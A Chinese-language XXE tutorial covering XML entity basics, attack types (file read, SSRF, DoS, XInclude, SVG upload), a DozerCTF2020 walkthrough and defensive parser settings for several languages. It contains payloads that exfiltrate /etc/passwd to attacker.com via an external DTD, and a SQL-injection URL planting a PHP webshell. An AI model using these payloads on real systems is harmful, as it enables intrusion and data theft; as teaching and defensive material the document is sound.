从0到1了解XXE
一.什么是XXE漏洞
xxe漏洞是基于利用xml进行数据传输时,xml规范包含各种潜在危险功能。且xml可利用dtd定义外部实体,这可作为一个有效利用的点(但dtd逐渐被xml schema替代,后面要对其学习并转变利用)
顺便提一下JSON和XML都是用来传输数据的,为什么XXE是出现在XML中的,而没有出现在JSON中。其根本的原因就是XML和JSON两者对比最根本的区别是XML 是“可执行结构”,JSON 只是“数据结构”
二.XML介绍
2.1. XML基础
XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。
2.2. 基本语法
XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。
除了可选的开头外,XML 语法主要有以下的特性:
- 所有 XML 元素都须有关闭标签
- XML 标签对大小写敏感
- XML 必须正确地嵌套
- XML 文档必须有根元素
- XML 的属性值需要加引号
另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。
2.3.dtd
DTD(Document Type Definition,文档类型定义)是用于定义 XML 文档结构、元素、属性及实体的规范,属于 XML 1.0 规格的一部分。它通过定义一套标记规则,验证 XML 文档是否合法(有效),确保不同应用程序间交换数据的统一性和数据结构化。
DTD 的核心内容与功能:
结构约束:明确定义 XML 中可以使用哪些元素、元素间的关系(顺序、嵌套)以及属性定义。
合法性校验:XML 解析器通过 DTD 检查 XML 文档内容是否合乎规范,即验证其是否为“有效(Valid)”XML。
定义规则:DTD 包含了元素、属性、实体或符号的定义规则。
DTD 的分类:
- 内部 DTD:直接定义在 XML 文档内部的
<!DOCTYPE>声明中。 - 外部 DTD:定义在独立的
.dtd文件中,通过<!DOCTYPE>引入,支持多个 XML 文档共享。
2.4.实体
XML实体(XML Entity) 是XML文档中定义的命名数据片段,可以在文档中通过引用名称来重用。
实体可以分为外部实体和内部实体,但除了上面的分法,还可以分为通用实体和参数实体,我知道你很懵,但你先别懵,坚持住。
内部实体:
内部实体就是在dtd里面直接定义的实体
1 | <?xml version="1.0" encoding="UTF-8"?> |
上面的栗子呈现出来的结果如下
1 | ctfer |
外部实体
一般在XXE漏洞中利用的都是外部实体,因为外部实体其实就是引用外部文件内容作为数据。同时,也可以利用伪协议读取解析该xml的本地文件内容。(xml可以直接引用伪协议是因为当XML解析处理此类实体时,会尝试打开该URL以获得实体的值。如果XML解析器是用PHP实现的(例如PHP的DOMDocument或SimpleXML扩展),那么它会调用PHP的流处理函数,从而触发 php:// 流包装器的逻辑。当然,通用的ftp,data等伪协议一般xml的解析器都是可用的)
1 | <?xml version="1.0"?> |
通用实体:
通用实体说白了就是可以直接在XML直接应用的实体,也就是我们可以在DTD外部直接利用&引用的实体,其实上面外部实体和内部实体的例子都是通用实体,那这里就不再用代码讲述了,下面再讲讲参数实体我相信各位师傅就会区分了。
参数实体:
参数实体是仅可以用于dtd内部的实体,它的作用域只在dtd中,如果你在<!DOCTYPE >中使用将不会有任何反应,来个栗子:
1 | <?xml version="1.0" encoding="UTF-8"?> |
逻辑如下图:
三.XXE攻击
所谓XXE攻击就是利用xml语法自定义语句查询自己想要的信息。我们用一个最简单的栗子来讲解一下:
1 | <?xml version="1.0"?> |
可以直接读取/etc/passwd中的内容
下面来介绍一些XXE攻击方式
3.1. 拒绝服务攻击
1 | <!DOCTYPE data [ |
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
3.2. 文件读取
1 | <?xml version="1.0"?> |
3.3. SSRF
1 | <?xml version="1.0"?> |
3.4. RCE
1 | <?xml version="1.0"?> |
3.5. XInclude
XInclude攻击
有些应用程序接收客户端提交的数据,将其嵌入到服务器端的 XML 文档中,然后解析该文档。例如,当客户端提交的数据被放入后端 SOAP 请求中,并由后端 SOAP 服务进行处理时,就会发生这种情况。
在这种情况下,无法执行经典的 XXE 攻击,因为无法控制整个 XML 文档,因此无法定义或修改DOCTYPE元素。但是,或许可以使用子文档XInclude来代替。XInclude子文档是 XML 规范的一部分,它允许从子文档构建 XML 文档。可以将攻击XInclude植入 XML 文档中的任何数据值中,因此即使只能控制服务器端 XML 文档中的单个数据项,也可以执行攻击。
1 | <?xml version='1.0'?> |
3.6.修改内容
XXE 通过修改内容类型发起攻击
大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded。有些网站期望接收这种格式的请求,但也能容忍其他内容类型,包括 XML。
例如,如果一个普通的请求包含以下内容:
1 | POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar |
那么,您可以尝试提交以下请求,结果应该是一样的:
1 | POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo> |
如果应用程序容忍消息体中包含 XML 的请求,并将消息体内容解析为 XML,那么只需将请求重新格式化为 XML 格式,即可利用隐藏的 XXE 攻击面。
3.7.文件上传
某些应用程序允许用户上传文件,这些文件随后会在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式示例包括 DOCX 等办公文档格式和 SVG 等图像格式。
例如,某个应用程序可能允许用户上传图片,并在上传后在服务器上进行处理或验证。即使应用程序预期接收PNG或JPEG等格式的图片,其使用的图像处理库也可能支持SVG格式。由于SVG格式使用XML,攻击者可以提交恶意SVG图片,从而利用XXE漏洞的隐蔽攻击面。
我们借用DozerCTF2020的一道题目来讲解一下利用SVG文件上传实现XXE攻击:打开网页输入框可以输入URL的地址,然后进行检查URL指向的file是否为svg图片,SVG是基于XML的矢量图,可以支持Entity(实体)功能,这里未严格限制格式,因此造成blind xxe,ssrf打内网服务。先写一个简单的SVG图片源码放在vps上。
1 | <?xml version="1.0" encoding="UTF-8"?> |
提交SVG图片源码地址发现实体成功显示,然后尝试读取历史操作的文件
1 | <?xml version="1.0" encoding="UTF-8"?> |
页面正常返回信息,但是经过尝试发现,并不能直接读到文件的内容,因为是无回显,所以进行尝试XXE的盲打,也通过加载外部的dtd文件,进而把读取结果以HTTP请求的方式发送到服务器上面进行读取,构造test.svg。
1 | <?xml version="1.0" encoding="UTF-8"?> |
继续构造abc.dtd
1 | <!ENTITY % all |
这里将test.svg以及abc.dtd放进去vps上面,在网页提交test.svg的链接即可成功读取到.bash_history,可通过读取历史记录获取信息读取网页源码,然后利用SSRF打内网。首先利用sql注入写入一句话木马
1 | http://127.0.0.1:8080/index.php?id=-1%27%20union%20select%201,%27%3C?php%20system($%5fGET%5bcmd%5d)%3b%3e%27%20into%20outfile%27/app/dashabi.php%27%23 |
然后进行读取flag文件
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php"> |
3.8.绕过方式
1.过滤xml的证明
即过滤<?xml version="1.0"
根据 XML 1.0 和 1.1 规范,XML 声明是可选的。如果文档没有声明,解析器会采用默认值
(1)将双引号改换为单引号
(2)在xml和version之间多加一个空格
2.无回显
利用带外技术解决
这个过程两个关键是读取本地文件,利用http请求携带参数数据发送给自己
但我们并不能将这两个过程写在一个内部dtd中,如下:
1 | <!DOCTYPE foo [ |
- 当解析器处理
<!ENTITY % send SYSTEM "http://attacker.com/?%file;">时,%file是一个参数实体引用,但在实体定义中,参数实体引用不会立即展开。它只是作为字符串的一部分被保存下来。 - 当执行
%send;时,解析器会将%send的替换文本(即"http://attacker.com/?%file;")插入到 DTD 中,但此时%file仍然是一个参数实体引用,需要再次展开。然而,%file的值此时可能已经被定义,但展开时机可能不对,或者由于解析器对参数实体展开的顺序限制,导致最终%send请求的 URL 中仍然是%file的字面字符串,而不是其内容。
因此,会直接失败
我们就可以通过外部dtd嵌套一层实现我们想要的功能
evil.dtd:
1 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
xml:
1 | <?xml version="1.0"?> |
%file:读取文件并存储其内容(如果是 PHP 环境,可能还需要 base64 编码以避免特殊字符)。%all:其值是一个字符串:"<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>"。注意这里使用了%来表示%,这样在定义%all时,内部的%file不会被展开(因为它在字符串中)。%all;:执行后,这个字符串被插入到 DTD 中,相当于定义了一个新的参数实体%send,其 URI 中包含了%file(此时%file已经被定义,但注意:在%send的定义中,%file仍然是一个引用,不会立即展开)。%send;:执行%send时,解析器会尝试展开它,而 URI 中的%file此时会被展开,从而得到包含文件内容的完整 URL,并向攻击者服务器发起请求。
四.防护
现代XML解析器通常默认禁用外部实体。
4.1.核心防御原则
- 禁用 DTD —— 最彻底的防御,因为外部实体依赖于 DTD。
- 禁用外部实体 —— 如果不能完全禁用 DTD,至少禁止加载外部实体。
- 使用安全的解析器配置 —— 大多数现代 XML 库提供安全配置选项。
- 输入验证与过滤 —— 对 XML 内容和结构进行白名单验证。
- 最小化 XML 使用 —— 优先使用 JSON 等更安全的格式。
4.2.各平台/语言的具体防护配置
4.2.1.Java
使用 DocumentBuilderFactory
1 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); |
使用 SAXParser
1 | SAXParserFactory spf = SAXParserFactory.newInstance(); |
使用 XMLInputFactory (StAX)
1 | XMLInputFactory factory = XMLInputFactory.newInstance(); |
使用 XPath
1 | XPathFactory xpf = XPathFactory.newInstance(); |
4.2.2.PHP
PHP 使用 libxml2,可通过 libxml_disable_entity_loader() 控制实体加载。
1 | // 禁用外部实体加载(包括本地文件) |
注意:PHP 8.0 起 libxml_disable_entity_loader() 默认已为 true,但为了兼容性仍建议显式设置。
4.2.3.Python
Python 的 xml 库默认可能不安全,推荐使用 defusedxml。
使用 defusedxml(首选)
1 | from defusedxml.ElementTree import parse |
若使用标准库,手动配置:
1 | from xml.etree.ElementTree import XMLParser, parse |
lxml 安全配置
1 | from lxml import etree |
4.2.4.NET (C#)
XmlReader 安全设置
1 | XmlReaderSettings settings = new XmlReaderSettings(); |
使用 XDocument / XmlDocument 时
1 | XmlDocument doc = new XmlDocument(); |
4.2.5.Node.js / JavaScript
使用 xml2js 或 xmldom 时手动防范
1 | // xmldom 示例 |
在浏览器端,同源策略通常限制外部实体,但仍需注意 XHR 响应解析。
4.2.6.Ruby
1 | require 'nokogiri' |
4.3.输入验证与过滤
即使配置了解析器,也应对 XML 内容进行验证:
- 使用 XML Schema (XSD) 验证:确保 XML 符合预期的结构和数据类型,可以拒绝包含 DOCTYPE 的文档。
- 白名单校验:如果业务不需要 DTD,可以简单检查 XML 是否包含
<!DOCTYPE并拒绝。 - 内容长度限制:防止利用 XML 实体展开进行 DoS(如 Billion Laughs 攻击)。
示例:拒绝包含 DOCTYPE 的 XML
1 | if '<!DOCTYPE' in xml_string.upper(): |
但注意,攻击者可能通过编码绕过简单检测,因此应优先在解析器层面禁用。
参考链接:
https://websec.readthedocs.io/zh/latest/vuln/xxe.html
https://portswigger.net/web-security/xxe